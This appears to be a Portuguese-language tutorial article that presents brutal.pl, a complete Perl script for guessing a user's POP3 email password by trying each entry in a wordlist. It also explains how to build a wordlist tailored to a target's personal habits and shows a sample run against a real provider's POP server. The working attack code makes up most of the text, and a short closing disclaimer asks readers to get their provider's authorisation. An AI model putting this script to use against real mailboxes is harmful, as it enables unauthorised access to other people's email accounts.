O objetivo do brutal.pl é tentar adivinhar a senha de um usuário de determinado servidor de email. O programa receberá um arquivo com uma lista de senhas chutadas e tentará se conectar ao servidor usando cada uma delas.
Para começar, vamos analisar quais informações serão necessárias ao script. Precisamos saber qual é o servidor de email, o usuário-alvo e caminho para o arquivo com as senhas chutadas. Mas que diabos é este arquivo de senhas chutadas ? Simples, se conheço o usuário joaozinho@bol.com.br e sei que ele adora uma purinha, sua senha deve ser algo parecido com algum tipo ou nome de bebida, assim posso criar um arquivo de senhas chutadas na seguinte forma:
cachaça
pinga
caninha51
martini
vodka
conhaque
...
Você também pode automatizar o processo de criação do arquivo de senhas chutadas através do comando 
mkpasswd.
A primeira etapa de nosso programa será capturar as informações necessárias ou abortar a execução caso faltem argumentos. No bloco abaixo, executaremos,respectivamente:
  - carregar módulos  
- verificar a quantidade de parâmetros recebidos  
- atribuir parâmetros à variáveis  
- verificar se arquivo de senhas existe
#!/usr/bin/perl
# vamos carregar os módulos usados pelo script
use strict;
use IO::Socket;
if ($#ARGV != 2) {
  print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
  print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
  print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
  exit(0);
}
# atribua os parâmetros à variáveis
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
   print "Erro: $pwfile não é um nome de arquivo válido!\n";
   exit;
}
Em seguida abriremos o arquivo de senhas para leitura e, para cada senha encontrada, executaremos o procedimento de tentativa de login:
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
  chomp;
  tryout($server,$user,$_);
}
close(R);
Abaixo as funções tryout e readsock:
sub tryout {
   my ($server,$user,$passwd) = @_;
   my $state;
   my $connex = new IO::Socket::INET->new(
                  PeerAddr  => $server,
                  PeerPort  => "110",
                  Proto     => "tcp",
                  Type      => SOCK_STREAM,
                  Timeout   => "30"
   );
   if (!defined($connex)) {
      print "Erro ao conectar ao servidor $server ...\n";
      exit(0);
   }
   $state = &readsock($connex);
   $connex->send("USER $user\r\n");
   $state = &readsock($connex);
   if ($state !~ /^\+OK/) { next; }
   $connex->send("PASS $passwd\r\n");
   $state = &readsock($connex);
   if ($state =~ /^\+OK/) {
      print "Cracked!!! A senha do usuário $user é $passwd\n";
      exit;
   }
   $connex -> close;
   sleep(5);
}
sub readsock {
   my ($socket) = @_;
   my $data = '';
   my $buf = '';
   while ($buf !~ /\n$/) {
      $buf=<$socket>;
      $data .= $buf;
   }
   return $data;
}
Clique aqui para fazer o download do código completo do script comentado no artigo.
Para executar o programa, utilize a seguinte sintaxe:
perl brutal.pl pop.uol.com.br usuario-alvo caminho/arquivo/senhas.txtEsse programa é apenas uma demonstração das técnicas utilizadas em ataques por força bruta. Um dos principais programas da categoria é o 
John The Ripper, usado para quebra de senhas criptografadas em servidores UNIX.
Não utilizem este programa sem a autorização prévia de seu provedor Internet.
Atenciosamente,
Fábio Berbert de Paula
fabio@vivaolinux.com.br